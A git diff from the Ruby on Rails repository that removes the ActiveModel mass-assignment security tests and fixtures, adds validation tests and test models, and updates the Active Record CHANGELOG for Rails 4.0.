deleted file mode 100644
index 0c6352cd71..0000000000
--- a/activemodel/test/cases/mass_assignment_security_test.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-require "cases/helper"
-require 'models/mass_assignment_specific'
-
-
-class CustomSanitizer < ActiveModel::MassAssignmentSecurity::Sanitizer
-
- def process_removed_attributes(klass, attrs)
- raise StandardError
- end
-
-end
-
-class MassAssignmentSecurityTest < ActiveModel::TestCase
-
- def test_attribute_protection
- user = User.new
- expected = { "name" => "John Smith", "email" => "john@smith.com" }
- sanitized = user.sanitize_for_mass_assignment(expected.merge("admin" => true))
- assert_equal expected, sanitized
- end
-
- def test_attribute_protection_when_role_is_nil
- user = User.new
- expected = { "name" => "John Smith", "email" => "john@smith.com" }
- sanitized = user.sanitize_for_mass_assignment(expected.merge("admin" => true), nil)
- assert_equal expected, sanitized
- end
-
- def test_only_moderator_role_attribute_accessible
- user = SpecialUser.new
- expected = { "name" => "John Smith", "email" => "john@smith.com" }
- sanitized = user.sanitize_for_mass_assignment(expected.merge("admin" => true), :moderator)
- assert_equal expected, sanitized
-
- sanitized = user.sanitize_for_mass_assignment({ "name" => "John Smith", "email" => "john@smith.com", "admin" => true })
- assert_equal({}, sanitized)
- end
-
- def test_attributes_accessible
- user = Person.new
- expected = { "name" => "John Smith", "email" => "john@smith.com" }
- sanitized = user.sanitize_for_mass_assignment(expected.merge("admin" => true))
- assert_equal expected, sanitized
- end
-
- def test_attributes_accessible_with_admin_role
- user = Person.new
- expected = { "name" => "John Smith", "email" => "john@smith.com", "admin" => true }
- sanitized = user.sanitize_for_mass_assignment(expected.merge("super_powers" => true), :admin)
- assert_equal expected, sanitized
- end
-
- def test_attributes_accessible_with_roles_given_as_array
- user = Account.new
- expected = { "name" => "John Smith", "email" => "john@smith.com" }
- sanitized = user.sanitize_for_mass_assignment(expected.merge("admin" => true))
- assert_equal expected, sanitized
- end
-
- def test_attributes_accessible_with_admin_role_when_roles_given_as_array
- user = Account.new
- expected = { "name" => "John Smith", "email" => "john@smith.com", "admin" => true }
- sanitized = user.sanitize_for_mass_assignment(expected.merge("super_powers" => true), :admin)
- assert_equal expected, sanitized
- end
-
- def test_attributes_protected_by_default
- firm = Firm.new
- expected = { }
- sanitized = firm.sanitize_for_mass_assignment({ "type" => "Client" })
- assert_equal expected, sanitized
- end
-
- def test_mass_assignment_protection_inheritance
- assert_blank LoosePerson.accessible_attributes
- assert_equal Set.new(['credit_rating', 'administrator']), LoosePerson.protected_attributes
-
- assert_blank LoosePerson.accessible_attributes
- assert_equal Set.new(['credit_rating']), LoosePerson.protected_attributes(:admin)
-
- assert_blank LooseDescendant.accessible_attributes
- assert_equal Set.new(['credit_rating', 'administrator', 'phone_number']), LooseDescendant.protected_attributes
-
- assert_blank LooseDescendantSecond.accessible_attributes
- assert_equal Set.new(['credit_rating', 'administrator', 'phone_number', 'name']), LooseDescendantSecond.protected_attributes,
- 'Running attr_protected twice in one class should merge the protections'
-
- assert_blank TightPerson.protected_attributes - TightPerson.attributes_protected_by_default
- assert_equal Set.new(['name', 'address']), TightPerson.accessible_attributes
-
- assert_blank TightPerson.protected_attributes(:admin) - TightPerson.attributes_protected_by_default
- assert_equal Set.new(['name', 'address', 'admin']), TightPerson.accessible_attributes(:admin)
-
- assert_blank TightDescendant.protected_attributes - TightDescendant.attributes_protected_by_default
- assert_equal Set.new(['name', 'address', 'phone_number']), TightDescendant.accessible_attributes
-
- assert_blank TightDescendant.protected_attributes(:admin) - TightDescendant.attributes_protected_by_default
- assert_equal Set.new(['name', 'address', 'admin', 'super_powers']), TightDescendant.accessible_attributes(:admin)
-
- end
-
- def test_mass_assignment_multiparameter_protector
- task = Task.new
- attributes = { "starting(1i)" => "2004", "starting(2i)" => "6", "starting(3i)" => "24" }
- sanitized = task.sanitize_for_mass_assignment(attributes)
- assert_equal sanitized, { }
- end
-
- def test_custom_sanitizer
- user = User.new
- User.mass_assignment_sanitizer = CustomSanitizer.new
- assert_raise StandardError do
- user.sanitize_for_mass_assignment("admin" => true)
- end
- ensure
- User.mass_assignment_sanitizer = nil
-
- end
-
-end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 8650b0e495..19e74d3cc9 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -54,18 +54,6 @@ class SecurePasswordTest < ActiveModel::TestCase
assert @user.authenticate("secret")
end
- test "visitor#password_digest should be protected against mass assignment" do
- assert Visitor.active_authorizers[:default].kind_of?(ActiveModel::MassAssignmentSecurity::BlackList)
- assert Visitor.active_authorizers[:default].include?(:password_digest)
- end
-
- test "Administrator's mass_assignment_authorizer should be WhiteList" do
- active_authorizer = Administrator.active_authorizers[:default]
- assert active_authorizer.kind_of?(ActiveModel::MassAssignmentSecurity::WhiteList)
- assert !active_authorizer.include?(:password_digest)
- assert active_authorizer.include?(:name)
- end
-
test "User should not be created with blank digest" do
assert_raise RuntimeError do
@user.run_callbacks :create
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index 8c5a3c5efd..e2bb0dda0b 100755
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -133,7 +133,7 @@ class XmlSerializationTest < ActiveModel::TestCase
end
test "should serialize nil" do
- assert_match %r{<pseudonyms nil=\"true\"></pseudonyms>}, @contact.to_xml(:methods => :pseudonyms)
+ assert_match %r{<pseudonyms nil=\"true\"/>}, @contact.to_xml(:methods => :pseudonyms)
end
test "should serialize integer" do
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index baccf72ecb..7d5af27f3d 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -64,4 +64,29 @@ class ExclusionValidationTest < ActiveModel::TestCase
t.title = "wasabi"
assert t.valid?
end
+
+ def test_validates_inclusion_of_with_symbol
+ Person.validates_exclusion_of :karma, :in => :reserved_karmas
+
+ p = Person.new
+ p.karma = "abe"
+
+ def p.reserved_karmas
+ %w(abe)
+ end
+
+ assert p.invalid?
+ assert_equal ["is reserved"], p.errors[:karma]
+
+ p = Person.new
+ p.karma = "abe"
+
+ def p.reserved_karmas
+ %w()
+ end
+
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
end
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index c57fa75faf..117e9109fc 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -96,4 +96,29 @@ class InclusionValidationTest < ActiveModel::TestCase
t.title = "elephant"
assert t.valid?
end
+
+ def test_validates_inclusion_of_with_symbol
+ Person.validates_inclusion_of :karma, :in => :available_karmas
+
+ p = Person.new
+ p.karma = "Lifo"
+
+ def p.available_karmas
+ %w()
+ end
+
+ assert p.invalid?
+ assert_equal ["is not included in the list"], p.errors[:karma]
+
+ p = Person.new
+ p.karma = "Lifo"
+
+ def p.available_karmas
+ %w(Lifo)
+ end
+
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
end
diff --git a/activemodel/test/models/account.rb b/activemodel/test/models/account.rb
new file mode 100644
index 0000000000..eed668d38f
--- /dev/null
+++ b/activemodel/test/models/account.rb
@@ -0,0 +1,5 @@
+class Account
+ include ActiveModel::ForbiddenAttributesProtection
+
+ public :sanitize_for_mass_assignment
+end
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
index 2d6d34b3e2..2f3aff290c 100644
--- a/activemodel/test/models/administrator.rb
+++ b/activemodel/test/models/administrator.rb
@@ -2,12 +2,10 @@ class Administrator
extend ActiveModel::Callbacks
include ActiveModel::Validations
include ActiveModel::SecurePassword
- include ActiveModel::MassAssignmentSecurity
-
+
define_model_callbacks :create
attr_accessor :name, :password_digest
- attr_accessible :name
has_secure_password
end
diff --git a/activemodel/test/models/mass_assignment_specific.rb b/activemodel/test/models/mass_assignment_specific.rb
deleted file mode 100644
index 1d123fa58c..0000000000
--- a/activemodel/test/models/mass_assignment_specific.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-class User
- include ActiveModel::MassAssignmentSecurity
- attr_protected :admin
-
- public :sanitize_for_mass_assignment
-end
-
-class SpecialUser
- include ActiveModel::MassAssignmentSecurity
- attr_accessible :name, :email, :as => :moderator
-
- public :sanitize_for_mass_assignment
-end
-
-class Person
- include ActiveModel::MassAssignmentSecurity
- attr_accessible :name, :email
- attr_accessible :name, :email, :admin, :as => :admin
-
- public :sanitize_for_mass_assignment
-end
-
-class Account
- include ActiveModel::MassAssignmentSecurity
- attr_accessible :name, :email, :as => [:default, :admin]
- attr_accessible :admin, :as => :admin
-
- public :sanitize_for_mass_assignment
-end
-
-class Firm
- include ActiveModel::MassAssignmentSecurity
-
- public :sanitize_for_mass_assignment
-
- def self.attributes_protected_by_default
- ["type"]
- end
-end
-
-class Task
- include ActiveModel::MassAssignmentSecurity
- attr_protected :starting
-
- public :sanitize_for_mass_assignment
-end
-
-class LoosePerson
- include ActiveModel::MassAssignmentSecurity
- attr_protected :credit_rating, :administrator
- attr_protected :credit_rating, :as => :admin
-end
-
-class LooseDescendant < LoosePerson
- attr_protected :phone_number
-end
-
-class LooseDescendantSecond< LoosePerson
- attr_protected :phone_number
- attr_protected :name
-end
-
-class TightPerson
- include ActiveModel::MassAssignmentSecurity
- attr_accessible :name, :address
- attr_accessible :name, :address, :admin, :as => :admin
-
- def self.attributes_protected_by_default
- ["mobile_number"]
- end
-end
-
-class TightDescendant < TightPerson
- attr_accessible :phone_number
- attr_accessible :super_powers, :as => :admin
-end
diff --git a/activemodel/test/models/project.rb b/activemodel/test/models/project.rb
new file mode 100644
index 0000000000..581b6dc0b3
--- /dev/null
+++ b/activemodel/test/models/project.rb
@@ -0,0 +1,3 @@
+class Project
+ include ActiveModel::DeprecatedMassAssignmentSecurity
+end
diff --git a/activemodel/test/models/visitor.rb b/activemodel/test/models/visitor.rb
index d15f448516..4d7f4be097 100644
--- a/activemodel/test/models/visitor.rb
+++ b/activemodel/test/models/visitor.rb
@@ -2,8 +2,7 @@ class Visitor
extend ActiveModel::Callbacks
include ActiveModel::Validations
include ActiveModel::SecurePassword
- include ActiveModel::MassAssignmentSecurity
-
+
define_model_callbacks :create
has_secure_password(validations: false)
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index bcf2fcb5ec..344ee6416d 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,5 +1,212 @@
## Rails 4.0.0 (unreleased) ##
+* Allow before and after validations to take an array of lifecycle events
+
+ *John Foley*
+
+* Support for specifying transaction isolation level
+
+ If your database supports setting the isolation level for a transaction, you can set
+ it like so:
+
+ Post.transaction(isolation: :serializable) do
+ # ...
+ end
+
+ Valid isolation levels are:
+
+ * `:read_uncommitted`
+ * `:read_committed`
+ * `:repeatable_read`
+ * `:serializable`
+
+ You should consult the documentation for your database to understand the
+ semantics of these different levels:
+
+ * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
+ * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
+
+ An `ActiveRecord::TransactionIsolationError` will be raised if:
+
+ * The adapter does not support setting the isolation level
+ * You are joining an existing open transaction
+ * You are creating a nested (savepoint) transaction
+
+ The mysql, mysql2 and postgresql adapters support setting the transaction
+ isolation level. However, support is disabled for mysql versions below 5,
+ because they are affected by a bug (http://bugs.mysql.com/bug.php?id=39170)
+ which means the isolation level gets persisted outside the transaction.
+
+ *Jon Leighton*
+
+* `ActiveModel::ForbiddenAttributesProtection` is included by default
+ in Active Record models. Check the docs of `ActiveModel::ForbiddenAttributesProtection`
+ for more details.
+
+ *Guillermo Iguaran*
+
+* Remove integration between Active Record and
+ `ActiveModel::MassAssignmentSecurity`, `protected_attributes` gem
+ should be added to use `attr_accessible`/`attr_protected`. Mass
+ assignment options has been removed from all the AR methods that
+ used it (ex. `AR::Base.new`, `AR::Base.create`, `AR::Base#update_attributes`, etc).
+
+ *Guillermo Iguaran*
+
+* Fix the return of querying with an empty hash.
+ Fix #6971.
+
+ User.where(token: {})
+
+ Before:
+
+ #=> SELECT * FROM users;
+
+ After:
+
+ #=> SELECT * FROM users WHERE 1 = 2;
+
+ *Damien Mathieu*
+
+* Fix creation of through association models when using `collection=[]`
+ on a `has_many :through` association from an unsaved model.
+ Fix #7661.
+
+ *Ernie Miller*
+
+* Explain only normal CRUD sql (select / update / insert / delete).
+ Fix problem that explains unexplainable sql.
+ Closes #7544 #6458.
+
+ *kennyj*
+
+* You can now override the generated accessor methods for stored attributes
+ and reuse the original behavior with `read_store_attribute` and `write_store_attribute`,
+ which are counterparts to `read_attribute` and `write_attribute`.
+
+ *Matt Jones*
+
+* Accept belongs_to (including polymorphic) association keys in queries.
+
+ The following queries are now equivalent:
+
+ Post.where(author: author)
+ Post.where(author_id: author)
+
+ PriceEstimate.where(estimate_of: treasure)
+ PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
+
+ *Peter Brown*
+
+* Use native `mysqldump` command instead of `structure_dump` method
+ when dumping the database structure to a sql file. Fixes #5547.
+
+ *kennyj*
+
+* PostgreSQL inet and cidr types are converted to `IPAddr` objects.
+
+ *Dan McClain*
+
+* PostgreSQL array type support. Any datatype can be used to create an
+ array column, with full migration and schema dumper support.
+
+ To declare an array column, use the following syntax:
+
+ create_table :table_with_arrays do |t|
+ t.integer :int_array, array: true
+ # integer[]
+ t.integer :int_array, array: true, length: 2
+ # smallint[]
+ t.string :string_array, array: true, length: 30
+ # char varying(30)[]
+ end
+
+ This respects any other migration detail (limits, defaults, etc).
+ Active Record will serialize and deserialize the array columns on
+ their way to and from the database.
+
+ One thing to note: PostgreSQL does not enforce any limits on the
+ number of elements, and any array can be multi-dimensional. Any
+ array that is multi-dimensional must be rectangular (each sub array
+ must have the same number of elements as its siblings).
+
+ If the `pg_array_parser` gem is available, it will be used when
+ parsing PostgreSQL's array representation.
+
+ *Dan McClain*
+
+* Attribute predicate methods, such as `article.title?`, will now raise
+ `ActiveModel::MissingAttributeError` if the attribute being queried for
+ truthiness was not read from the database, instead of just returning `false`.
+
+ *Ernie Miller*
+
+* `ActiveRecord::SchemaDumper` uses Ruby 1.9 style hash, which means that the
+ schema.rb file will be generated using this new syntax from now on.
+
+ *Konstantin Shabanov*
+
+* Map interval with precision to string datatype in PostgreSQL. Fixes #7518.
+
+ *Yves Senn*
+
+* Fix eagerly loading associations without primary keys. Fixes #4976.
+
+ *Kelley Reynolds*
+
+* Rails now raise an exception when you're trying to run a migration that has an invalid
+ file name. Only lower case letters, numbers, and '_' are allowed in migration's file name.
+ Please see #7419 for more details.
+
+ *Jan Bernacki*
+
+* Fix bug when calling `store_accessor` multiple times.
+ Fixes #7532.
+
+ *Matt Jones*
+
+* Fix store attributes that show the changes incorrectly.
+ Fixes #7532.
+
+ *Matt Jones*
+
+* Fix `ActiveRecord::Relation#pluck` when columns or tables are reserved words.
+
+ *Ian Lesperance*
+
+* Allow JSON columns to be created in PostgreSQL and properly encoded/decoded.
+ to/from database.
+
+ *Dickson S. Guedes*
+
+* Fix time column type casting for invalid time string values to correctly return `nil`.
+
+ *Adam Meehan*
+
+* Allow to pass Symbol or Proc into `:limit` option of #accepts_nested_attributes_for.
+
+ *Mikhail Dieterle*
+
+* ActiveRecord::SessionStore has been extracted from Active Record as `activerecord-session_store`
+ gem. Please read the `README.md` file on the gem for the usage.
+
+ *Prem Sichanugrist*
+
+* Fix `reset_counters` when there are multiple `belongs_to` association with the
+ same foreign key and one of them have a counter cache.
+ Fixes #5200.
+
+ *Dave Desrochers*
+
+* `serialized_attributes` and `_attr_readonly` become class method only. Instance reader methods are deprecated.
+
+ *kennyj*
+
+* Round usec when comparing timestamp attributes in the dirty tracking.
+ Fixes #6975.
+
+ *kennyj*
+
* Use inversed parent for first and last child of has_many association.
*Ravil Bayramgalin*
@@ -19,10 +226,11 @@
*Dave Yeu*
-* Fixed table name prefix that is generated in engines for namespaced models
+* Fixed table name prefix that is generated in engines for namespaced models.
+
*Wojciech Wnętrzak*
-* Make sure `:environment` task is executed before `db:schema:load` or `db:structure:load`
+* Make sure `:environment` task is executed before `db:schema:load` or `db:structure:load`.
Fixes #4772.
*Seamus Abshere*
@@ -47,7 +255,7 @@
*Jon Leighton*
-* Add CollectionProxy#scope
+* Add CollectionProxy#scope.
This can be used to get a Relation from an association.
@@ -65,7 +273,7 @@
*Jon Leighton*
-* Add `Relation#load`
+* Add `Relation#load`.
This method explicitly loads the records and then returns `self`.
@@ -81,7 +289,7 @@
*Jon Leighton*
* `Model.all` now returns an `ActiveRecord::Relation`, rather than an
- array of records. Use ``Relation#to_a` if you really want an array.
+ array of records. Use `Relation#to_a` if you really want an array.
In some specific cases, this may cause breakage when upgrading.
However in most cases the `ActiveRecord::Relation` will just act as a
@@ -105,7 +313,7 @@
* `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
associations are deprecated. Please transition to using `has_many
- :through`
+ :through`.
*Jon Leighton*
@@ -118,6 +326,7 @@
* Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to`
and `remove_belongs_to` are acceptable. References are reversible.
+
Examples:
# Create a user_id column
@@ -139,10 +348,10 @@
* `ActiveRecord::Relation#inspect` now makes it clear that you are
dealing with a `Relation` object rather than an array:.
- User.where(:age => 30).inspect
+ User.where(age: 30).inspect
# => <ActiveRecord::Relation [#<User ...>, #<User ...>, ...]>
- User.where(:age => 30).to_a.inspect
+ User.where(age: 30).to_a.inspect
# => [#<User ...>, #<User ...>]
The number of records displayed will be limited to 10.
@@ -253,16 +462,14 @@
*kennyj*
-* Add uuid datatype support to PostgreSQL adapter. *Konstantin Shabanov*
+* Add uuid datatype support to PostgreSQL adapter.
-* `update_attribute` has been removed. Use `update_columns` if
- you want to bypass mass-assignment protection, validations, callbacks,
- and touching of updated_at. Otherwise please use `update_attributes`.
-
- *Steve Klabnik*
+ *Konstantin Shabanov*
* Added `ActiveRecord::Migration.check_pending!` that raises an error if
- migrations are pending. *Richard Schneeman*
+ migrations are pending.
+
+ *Richard Schneeman*
* Added `#destroy!` which acts like `#destroy` but will raise an
`ActiveRecord::RecordNotDestroyed` exception instead of returning `false`.
@@ -312,7 +519,7 @@
methods which previously accepted "finder options" no longer do. For
example this:
- Post.find(:all, :conditions => { :comments_count => 10 }, :limit => 5)
+ Post.find(:all, conditions: { comments_count: 10 }, limit: 5)
Should be rewritten in the new style which has existed since Rails 3:
@@ -320,7 +527,7 @@
Note that as an interim step, it is possible to rewrite the above as:
- Post.all.merge(:where => { :comments_count => 10 }, :limit => 5)
+ Post.all.merge(where: { comments_count: 10 }, limit: 5)
This could save you a lot of work if there is a lot of old-style
finder usage in your application.
@@ -330,9 +537,9 @@
finder method. These are mostly identical to the old-style finder
option names, except in the following cases:
- * `:conditions` becomes `:where`
- * `:include` becomes `:includes`
- * `:extend` becomes `:extending`
+ * `:conditions` becomes `:where`.
+ * `:include` becomes `:includes`.
+ * `:extend` becomes `:extending`.
The code to implement the deprecated features has been moved out to
the `activerecord-deprecated_finders` gem. This gem is a dependency
@@ -347,7 +554,7 @@
*Johannes Barre*
-* Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects
+* Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects.
Record.from(subquery)
Record.from(subquery, :a)
@@ -373,7 +580,7 @@
*Marcelo Silveira*
-* Added an :index option to automatically create indexes for references
+* Added an `:index` option to automatically create indexes for references
and belongs_to statements in migrations.
The `references` and `belongs_to` methods now support an `index`
@@ -381,7 +588,7 @@
that is identical to options available to the add_index method:
create_table :messages do |t|
- t.references :person, :index => true
+ t.references :person, index: true
end
Is the same as:
@@ -393,7 +600,7 @@
Generators have also been updated to use the new syntax.
- [Joshua Wood]
+ *Joshua Wood*
* Added bang methods for mutating `ActiveRecord::Relation` objects.
For example, while `foo.where(:bar)` will return a new object
@@ -482,12 +689,12 @@
*kennyj*
-* Added support for partial indices to PostgreSQL adapter
+* Added support for partial indices to PostgreSQL adapter.
The `add_index` method now supports a `where` option that receives a
string with the partial index criteria.
- add_index(:accounts, :code, :where => "active")
+ add_index(:accounts, :code, where: 'active')
Generates
@@ -495,7 +702,7 @@
*Marcelo Silveira*
-* Implemented ActiveRecord::Relation#none method
+* Implemented ActiveRecord::Relation#none method.
The `none` method returns a chainable relation with zero records
(an instance of the NullRelation class).
@@ -506,9 +713,11 @@
*Juanjo Bazán*
* Added the `ActiveRecord::NullRelation` class implementing the null
- object pattern for the Relation class. *Juanjo Bazán*
+ object pattern for the Relation class.
+
+ *Juanjo Bazán*
-* Added new `:dependent => :restrict_with_error` option. This will add
+* Added new `dependent: :restrict_with_error` option. This will add
an error to the model, rather than raising an exception.
The `:restrict` option is renamed to `:restrict_with_exception` to
@@ -516,20 +725,22 @@
*Manoj Kumar & Jon Leighton*
-* Added `create_join_table` migration helper to create HABTM join tables
+* Added `create_join_table` migration helper to create HABTM join tables.
create_join_table :products, :categories
# =>
- # create_table :categories_products, :id => false do |td|
- # td.integer :product_id, :null => false
- # td.integer :category_id, :null => false
+ # create_table :categories_products, id: false do |td|
+ # td.integer :product_id, null: false
+ # td.integer :category_id, null: false
# end
*Rafael Mendonça França*
-* The primary key is always initialized in the @attributes hash to nil (unless
+* The primary key is always initialized in the @attributes hash to `nil` (unless
another value has been specified).
+ *Aaron Paterson*
+
* In previous releases, the following would generate a single query with
an `OUTER JOIN comments`, rather than two separate queries:
@@ -560,14 +771,18 @@
loading. Basically, don't worry unless you see a deprecation warning
or (in future releases) an SQL error due to a missing JOIN.
- [Jon Leighton]
+ *Jon Leighton*
-* Support for the `schema_info` table has been dropped. Please
+* Support for the `schema_info` table has been dropped. Please
switch to `schema_migrations`.
-* Connections *must* be closed at the end of a thread. If not, your
+ *Aaron Patterson*
+
+* Connections *must* be closed at the end of a thread. If not, your
connection pool can fill and an exception will be raised.
+ *Aaron Patterson*
+
* Added the `ActiveRecord::Model` module which can be included in a
class as an alternative to inheriting from `ActiveRecord::Base`:
@@ -598,6941 +813,10 @@
* PostgreSQL hstore records can be created.
-* PostgreSQL hstore types are automatically deserialized from the database.
-
-## Rails 3.2.8 (Aug 9, 2012) ##
-
-* Do not consider the numeric attribute as changed if the old value is zero and the new value
- is not a string.
- Fixes #7237.
-
- *Rafael Mendonça França*
-
-* Removes the deprecation of `update_attribute`. *fxn*
-
-* Reverted the deprecation of `composed_of`. *Rafael Mendonça França*
-
-* Reverted the deprecation of `*_sql` association options. They will
- be deprecated in 4.0 instead. *Jon Leighton*
-
-* Do not eager load AR session store. ActiveRecord::SessionStore depends on the abstract store
- in Action Pack. Eager loading this class would break client code that eager loads Active Record
- standalone.
- Fixes #7160
-
- *Xavier Noria*
-
-* Do not set RAILS_ENV to "development" when using `db:test:prepare` and related rake tasks.
- This was causing the truncation of the development database data when using RSpec.
- Fixes #7175.
-
- *Rafael Mendonça França*
-
-
-## Rails 3.2.7 (Jul 26, 2012) ##
-
-* `:finder_sql` and `:counter_sql` options on collection associations
- are deprecated. Please transition to using scopes.
-
- *Jon Leighton*
-
-* `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
- associations are deprecated. Please transition to using `has_many
- :through`
-
- *Jon Leighton*
-
-* `composed_of` has been deprecated. You'll have to write your own accessor
- and mutator methods if you'd like to use value objects to represent some
- portion of your models.
-
- *Steve Klabnik*
-
-* `update_attribute` has been deprecated. Use `update_column` if
- you want to bypass mass-assignment protection, validations, callbacks,
- and touching of updated_at. Otherwise please use `update_attributes`.
-
- *Steve Klabnik*
-
-
-## Rails 3.2.6 (Jun 12, 2012) ##
-
-* protect against the nesting of hashes changing the
- table context in the next call to build_from_hash. This fix
- covers this case as well.
-
- CVE-2012-2695
-
-* Revert earlier 'perf fix' (see 3.2.4 changelog / GH #6289). This
- change introduced a regression (GH #6609). assoc.clear and
- assoc.delete_all have loaded the association before doing the delete
- since at least Rails 2.3. Doing the delete without loading the
- records means that the `before_remove` and `after_remove` callbacks do
- not get invoked. Therefore, this change was less a fix a more an
- optimisation, which should only have gone into master.
-
- *Jon Leighton*
-
-
-## Rails 3.2.5 (Jun 1, 2012) ##
-
-* Restore behavior of Active Record 3.2.3 scopes.
- A series of commits relating to preloading and scopes caused a regression.
-
- *Andrew White*
-
-
-## Rails 3.2.4 (May 31, 2012) ##
-
-* Perf fix: Don't load the records when doing assoc.delete_all.
- GH #6289. *Jon Leighton*
-
-* Association preloading shouldn't be affected by the current scoping.
- This could cause infinite recursion and potentially other problems.
- See GH #5667. *Jon Leighton*
-
-* Datetime attributes are forced to be changed. GH #3965
-
-* Fix attribute casting. GH #5549
-
-* Fix #5667. Preloading should ignore scoping.
-
-* Predicate builder should not recurse for determining where columns.
- Thanks to Ben Murphy for reporting this! CVE-2012-2661
-
-
-## Rails 3.2.3 (March 30, 2012) ##
-
-* Added find_or_create_by_{attribute}! dynamic method. *Andrew White*
-
-* Whitelist all attribute assignment by default. Change the default for newly generated applications to whitelist all attribute assignment. Also update the generated model classes so users are reminded of the importance of attr_accessible. *NZKoz*
-
-* Update ActiveRecord::AttributeMethods#attribute_present? to return false for empty strings. *Jacobkg*
-
-* Fix associations when using per class databases. *larskanis*
-
-* Revert setting NOT NULL constraints in add_timestamps *fxn*
-
-* Fix mysql to use proper text types. Fixes #3931. *kennyj*
-
-* Fix #5069 - Protect foreign key from mass assignment through association builder. *byroot*
-
-
-## Rails 3.2.2 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.1 (January 26, 2012) ##
-
-* The threshold for auto EXPLAIN is ignored if there's no logger. *fxn*
-
-* Call `to_s` on the value passed to `table_name=`, in particular symbols
- are supported (regression). *Sergey Nartimov*
-
-* Fix possible race condition when two threads try to define attribute
- methods for the same class. *Jon Leighton*
-
-
-## Rails 3.2.0 (January 20, 2012) ##
-
-* Added a `with_lock` method to ActiveRecord objects, which starts
- a transaction, locks the object (pessimistically) and yields to the block.
- The method takes one (optional) parameter and passes it to `lock!`.
-
- Before:
-
- class Order < ActiveRecord::Base
- def cancel!
- transaction do
- lock!
- # ... cancelling logic
- end
- end
- end
-
- After:
-
- class Order < ActiveRecord::Base
- def cancel!
- with_lock do
- # ... cancelling logic
- end
- end
- end
-
- *Olek Janiszewski*
-
-* 'on' and 'ON' boolean columns values are type casted to true
- *Santiago Pastorino*
-
-* Added ability to run migrations only for given scope, which allows
- to run migrations only from one engine (for example to revert changes
- from engine that you want to remove).
-
- Example:
- rake db:migrate SCOPE=blog
-
- *Piotr Sarnacki*
-
-* Migrations copied from engines are now scoped with engine's name,
- for example 01_create_posts.blog.rb. *Piotr Sarnacki*
-
-* Implements `AR::Base.silence_auto_explain`. This method allows the user to
- selectively disable automatic EXPLAINs within a block. *fxn*
-
-* Implements automatic EXPLAIN logging for slow queries.
-
- A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds`
- determines what's to be considered a slow query. Setting that to `nil` disables
- this feature. Defaults are 0.5 in development mode, and `nil` in test and production
- modes.
-
- As of this writing there's support for SQLite, MySQL (mysql2 adapter), and
- PostgreSQL.
-
- *fxn*
-
-* Implemented ActiveRecord::Relation#pluck method
-
- Method returns Array of column value from table under ActiveRecord model
-
- Client.pluck(:id)
-
- *Bogdan Gusiev*
-
-* Automatic closure of connections in threads is deprecated. For example
- the following code is deprecated:
-
- Thread.new { Post.find(1) }.join
-
- It should be changed to close the database connection at the end of
- the thread:
-
- Thread.new {
- Post.find(1)
- Post.connection.close
- }.join
-
- Only people who spawn threads in their application code need to worry
- about this change.
-
-* Deprecated:
-
- * `set_table_name`
- * `set_inheritance_column`
- * `set_sequence_name`
- * `set_primary_key`
- * `set_locking_column`
-
- Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`:
-
- class Project < ActiveRecord::Base
- self.table_name = "project"
- end
-
- Or define your own `self.table_name` method:
-
- class Post < ActiveRecord::Base
- def self.table_name
- "special_" + super
- end
- end
- Post.table_name # => "special_posts"
-
- *Jon Leighton*
-
-* Generated association methods are created within a separate module to allow overriding and
- composition using `super`. For a class named `MyModel`, the module is named
- `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after
- the `generated_attributes_methods` module defined in ActiveModel, so association methods
- override attribute methods of the same name. *Josh Susser*
-
-* Implemented ActiveRecord::Relation#explain. *fxn*
-
-* Add ActiveRecord::Relation#uniq for generating unique queries.
-
- Before:
-
- Client.select('DISTINCT name')
-
- After:
-
- Client.select(:name).uniq
-
- This also allows you to revert the uniqueness in a relation:
-
- Client.select(:name).uniq.uniq(false)
-
- *Jon Leighton*
-
-* Support index sort order in sqlite, mysql and postgres adapters. *Vlad Jebelev*
-
-* Allow the :class_name option for associations to take a symbol (:Client) in addition to
- a string ('Client').
-
- This is to avoid confusing newbies, and to be consistent with the fact that other options
- like :foreign_key already allow a symbol or a string.
-
- *Jon Leighton*
-
-* In development mode the db:drop task also drops the test database. For symmetry with
- the db:create task. *Dmitriy Kiriyenko*
-
-* Added ActiveRecord::Base.store for declaring simple single-column key/value stores *DHH*
-
- class User < ActiveRecord::Base
- store :settings, accessors: [ :color, :homepage ]
- end
-
- u = User.new(color: 'black', homepage: '37signals.com')
- u.color # Accessor stored attribute
- u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
-
-
-* MySQL: case-insensitive uniqueness validation avoids calling LOWER when
- the column already uses a case-insensitive collation. Fixes #561.
-
